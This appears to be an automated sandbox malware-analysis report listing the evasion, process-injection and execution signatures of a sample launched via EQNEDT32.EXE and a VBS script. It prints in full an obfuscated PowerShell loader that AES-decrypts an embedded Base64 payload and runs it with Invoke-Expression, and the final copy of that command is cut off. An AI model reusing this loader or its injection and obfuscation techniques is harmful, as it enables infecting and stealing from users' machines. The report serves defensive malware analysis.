              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior

              Malware Analysis System Evasion

              barindex
              Delayed program exit found
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_0040F7A7 Sleep,ExitProcess,8_2_0040F7A7
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 10_2_0040DD85 memset,CreateFileW,NtQuerySystemInformation,CloseHandle,GetCurrentProcessId,_wcsicmp,_wcsicmp,_wcsicmp,OpenProcess,GetCurrentProcess,DuplicateHandle,memset,CloseHandle,_wcsicmp,CloseHandle,10_2_0040DD85
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: OpenSCManagerA,EnumServicesStatusW,GetLastError,EnumServicesStatusW,OpenServiceW,QueryServiceConfigW,GetLastError,QueryServiceConfigW,CloseServiceHandle,CloseServiceHandle,8_2_0041A748
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 600000Jump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 600000Jump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeWindow found: window name: WSH-TimerJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1522Jump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 6124Jump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeWindow / User API: threadDelayed 9363Jump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeWindow / User API: foregroundWindowGot 1630Jump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeDecision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)graph_8-53437
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 152Thread sleep time: -180000s >= -30000sJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3212Thread sleep time: -60000s >= -30000sJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3216Thread sleep time: -2767011611056431s >= -30000sJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3216Thread sleep time: -4200000s >= -30000sJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3216Thread sleep time: -600000s >= -30000sJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 3284Thread sleep count: 258 > 30Jump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 3284Thread sleep time: -129000s >= -30000sJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 3288Thread sleep count: 85 > 30Jump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 3288Thread sleep time: -255000s >= -30000sJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 3352Thread sleep time: -60000s >= -30000sJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 3288Thread sleep count: 9363 > 30Jump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 3288Thread sleep time: -28089000s >= -30000sJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 3464Thread sleep time: -60000s >= -30000sJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_00409253 __EH_prolog,__CxxThrowException@8,FindFirstFileW,FindNextFileW,FindClose,FindClose,8_2_00409253
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_0041C291 FindFirstFileW,FindNextFileW,RemoveDirectoryW,SetFileAttributesW,DeleteFileW,GetLastError,FindClose,RemoveDirectoryW,FindClose,8_2_0041C291
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_0040C34D FindFirstFileW,PathFileExistsW,FindNextFileW,FindClose,FindClose,8_2_0040C34D
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_00409665 __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,FindClose,8_2_00409665
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_0044E879 FindFirstFileExA,8_2_0044E879
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_0040880C __EH_prolog,FindFirstFileW,__CxxThrowException@8,FindNextFileW,FindClose,8_2_0040880C
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_0040783C FindFirstFileW,FindNextFileW,8_2_0040783C
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_00419AF5 FindFirstFileW,FindNextFileW,FindNextFileW,8_2_00419AF5
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_0040BB30 FindFirstFileA,FindClose,DeleteFileA,GetLastError,DeleteFileA,GetLastError,FindNextFileA,FindClose,8_2_0040BB30
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_0040BD37 FindFirstFileA,FindClose,DeleteFileA,GetLastError,FindNextFileA,FindClose,FindClose,8_2_0040BD37
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_100010F1 lstrlenW,lstrlenW,lstrcatW,lstrlenW,lstrlenW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,8_2_100010F1
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_10006580 FindFirstFileExA,8_2_10006580
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 10_2_0040AE51 FindFirstFileW,FindNextFileW,10_2_0040AE51
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 11_2_00407EF8 FindFirstFileA,FindNextFileA,strlen,strlen,11_2_00407EF8
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_00407898 FindFirstFileA,FindNextFileA,strlen,strlen,12_2_00407898
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_00407C97 SetEvent,GetFileAttributesW,DeleteFileW,ShellExecuteW,GetLogicalDriveStringsA,SetFileAttributesW,DeleteFileA,Sleep,StrToIntA,CreateDirectoryW,8_2_00407C97
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 10_2_00418981 memset,GetSystemInfo,10_2_00418981
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 600000Jump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 600000Jump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile opened: C:\Windows\SysWOW64\config\systemprofile\Jump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile opened: C:\Windows\SysWOW64\config\systemprofile\AppData\Jump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile opened: C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Jump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile opened: C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Caches\Jump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile opened: C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Jump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile opened: C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Jump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeAPI call chain: ExitProcess graph end node
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information queried: ProcessInformationJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_004349F9 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,8_2_004349F9
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 10_2_0040DD85 memset,CreateFileW,NtQuerySystemInformation,CloseHandle,GetCurrentProcessId,_wcsicmp,_wcsicmp,_wcsicmp,OpenProcess,GetCurrentProcess,DuplicateHandle,memset,CloseHandle,_wcsicmp,CloseHandle,10_2_0040DD85
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_0041CB50 LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetModuleHandleA,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,8_2_0041CB50
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_004432B5 mov eax, dword ptr fs:[00000030h]8_2_004432B5
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_10004AB4 mov eax, dword ptr fs:[00000030h]8_2_10004AB4
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_00411CFE SetLastError,GetNativeSystemInfo,SetLastError,GetProcessHeap,HeapAlloc,SetLastError,8_2_00411CFE
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess token adjusted: DebugJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_00434B47 SetUnhandledExceptionFilter,8_2_00434B47
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_004349F9 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,8_2_004349F9
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_0043BB22 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,8_2_0043BB22
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_00434FDC SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,8_2_00434FDC
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_100060E2 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,8_2_100060E2
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_10002639 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,8_2_10002639
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_10002B1C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,8_2_10002B1C

              HIPS / PFW / Operating System Protection Evasion

              barindex
              Yara detected Powershell download and execute
              Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 3116, type: MEMORYSTR
              Contains functionality to inject code into remote processes
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_004180EF GetProcAddress,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,CreateProcessW,VirtualAlloc,GetThreadContext,ReadProcessMemory,NtCreateSection,NtUnmapViewOfSection,NtMapViewOfSection,VirtualFree,NtClose,TerminateProcess,GetModuleHandleA,GetProcAddress,GetCurrentProcess,NtMapViewOfSection,WriteProcessMemory,SetThreadContext,ResumeThread,VirtualFree,GetCurrentProcess,NtUnmapViewOfSection,NtClose,TerminateProcess,GetLastError,8_2_004180EF
              Injects a PE file into a foreign processes
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5AJump to behavior
              Maps a DLL or memory area into another process
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: NULL target: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe protection: execute and read and writeJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: NULL target: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe protection: execute and read and writeJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: NULL target: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe protection: execute and read and writeJump to behavior
              Writes to foreign memory regions
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000Jump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000Jump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 459000Jump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 471000Jump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 477000Jump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 478000Jump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 479000Jump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 47E000Jump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 7EFDE008Jump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: GetCurrentProcessId,OpenMutexA,CloseHandle,CreateThread,CloseHandle,Sleep,OpenProcess, svchost.exe8_2_004120F7
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_00419627 mouse_event,8_2_00419627
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEProcess created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\screensimplethingstohandlecream.vBS" Jump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI16942742004897547110020442916503CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIAiyJ4w4PDxrjYBTpE+kCMXAi0n0WFrEwTQqO6Ll9vCemso5/Wu4WU8DFicwqoQGgHUNsDgf18ada181Zl+9aIMRyGbBhOQL1xtRLUPEYoMibGKdW5HX/pyEQS0Jw3Vh2+CYHtXZW4mAXpPVkuI6gUlIz8DEsOP8YwWP+kL3LpnXUvoD/qBKfflwTqLdaSslAUZJBizi2g2Z8nGQwpbShstgk8iXwe1n31tDVYVkp3T5T5WY1HmUD74K+YmOudrHG5Myz3duSqcna3IjfjlEbg/ZIO/KCvQGjgfJjV8ugk/Yy2P5Oa+5QFOgc8iixUoiNIoPAYztidKVOOGmbgFMbkku0XGVqmJjKcyMtEJtArogT9aYZx/ed96FLgWK+okfu0GPY3zgarb0LJ0UOULymAYnqJJj3ofVS7De8JjcTEqBknfr/caOlBiLhsYNQWSOgsDhrRvf5YYzMpM83vqh06V2szJv2yAB9LsAHIGxJWtU+c0ovHZ5Vdqtl/xa+xpgCscC3s+9s4OttMJQD+Y6OgggjtZYrP3PNltGTuGXGV6FdDehpSU/xdy/8GAxcGUjH9Mr8gb130Pu+0YBW9HdBQ2iWvdVhvMv9Qexc/zgzM2wKPrSh6KwTAbvQCmsP7v0n0diE/lfStsBI95daYr1R09j361KgVwHJfGtSYJKTiZxk3Kjr8ned9cTP7Hr1sIs66dD0GkNgVgIBM3hQi4l/JbuLztLdOqUSCMtPOJbMVvd+MpGtoXPGCTnJjImLTYVVP67C5k3Tf8ib1O6pKQeQcxhQ5hyr1qq3EQ0hJl5ZNCjy/SUT8QdLtfUcum3xRlxAeH032MIpclIzJhwFgmOsJsKiJLds99V3vTPgCXZZnxnNS2du/73NT4UYFNd4J7+I54BTGng1g4J6A5nhvO9KkoFS0c0denf7crIdeMf7pSj0inJztc2aRCT3AEJT3zVJwCBYKOYKPppt5njp0JLB5aB1OBZOO8YTYn1Zek16QtXF/UDhcFSHjS/B3tfXkD2tRnhujolV+Fes7ISTg3tPOFFvRigpQFL4IgLPiP2k7alWxEZHAX+W9FTNKh054AIMuEYzSP0JTVG2VJBq1OAfoQjhBvwQGKAAzRNd+6L+lgQp6ASIjm8tteW0NYUDIsW5x5Js0LElEjrFSiSmbujrdPEw/2oL5TaVIPCWAWwofdzk+coQ0nI1BV4Ecz4/ITbC8RsV1s7k18zvJwByHMIMM9IrxaprgzKSCaODhTKxF53rNwycY7cipt+8OD/N5OYtYZcvj7SdQKqL5DqbVs23F23QxJW9fAyZGdFz8Roqgg9TRDb2FyYfFHPkwCgRN8f9lD4F+Xjt70yId/tbDb3DUwEzhVgMNSBmOaW6o9DawkzEHDJcdtOzPNSKtye26n8CIG+NRXD0lhN5RBg3MLzMew==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"Jump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\user\AppData\Local\Temp\mmsiqhwoqhbqrxshpqajxrsgsxt"Jump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\user\AppData\Local\Temp\woytragqmptvbdolgbukidmxselpvnm"Jump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\user\AppData\Local\Temp\hidlssrjzxlidrcppmhelihgbsvywydkws"Jump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command (('((e4jfunction decrypt-aesencryption {param([string]tmibase64text,[stringe4j+e4j]tmikey)tmie4j+e4jaesmanaged = new-object system.see4j+e4jcurity.cryptography.aesmanaged;tmia'+'esmanagee4j+e4'+'jd.modee4j+e4j = [syse4j+'+'e4jtem.security.cryptoge4j+e4jraphy.e4j+e'+'4jcie4'+'j+e4jphermode]::cbc;tmiaesmanaged.'+'pae4j+e4jddin'+'g = [system.security.cryptography.paddingmode]::zeros;tmiaesmanaged.blocksiz'+'e = 128;tmiaesmanaged.keysize = 256;'+'tmiaesmanagee4j+'+'e4jd.key = ('+'new-objecte4'+'j+e4j system.security.cryptography.sha256managed).computehash([syste'+'m.text.encoding]::utf8.gee4j+e4jtbytes(tmikey));tmicipherbytes = [syst'+'em.convert]::frombase64string(tmibase64text);tmiaesmanaged.iv '+'= tmicipherbytes[0..15];tmidecryptor = tmiaesmanaged.createdecryptor();tmidecryptedbytes = tmidecryptor.transformfin'+'alblock(tmicipherbytes, 16, tmicipherbytes.length - 16);e4j+e4jtmiae'+'smanaged.d'+'ispose('+');return [system.text.encoding]::utf8.getstring'+'(tmidecry'+'ptedbytes).tre4j+e4jim([char]0);}tmichave = cni16942742004897547110020442916503cnie4j+e4j;tmitextocriptogr'+'afadobase4j+e4je64 = 